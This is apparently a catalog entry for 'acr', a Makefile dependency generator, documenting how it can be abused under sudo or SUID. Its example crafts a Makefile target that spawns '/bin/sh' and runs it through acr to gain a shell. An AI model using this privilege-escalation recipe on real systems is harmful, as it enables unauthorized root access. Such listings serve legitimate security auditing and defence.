build enabled community medium v1.0.0

acr

Automatic Makefile dependency generator that can execute arbitrary commands through Makefile rules.

📋 Live Preview
acr {r}
📎 r
acr {r}

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
security.privilege-escalation.shell

Parameters

Name Type Required Default Description Aliases
r string No - Set the -r parameter -r

Contract

Inputs

system.file.path

Path to Makefile fragment

Outputs

process.output

Command execution output

Side effects: process_spawnfilesystem_write

Workflow Edges

Produces

process.output

Consumes

system.file.path

Resource Profile

ResourceValue
CPUlow
Memory8 MB
Networklow
Disk I/Olow

Examples

Execute arbitrary command via crafted Makefile

echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file

Documentation

acr — Automatic Makefile Dependency Generator

acr generates Makefile dependencies. It can be abused to execute arbitrary commands when used with sudo or SUID by crafting a Makefile with a shell command target.

Related Tools

makeautoreconf

References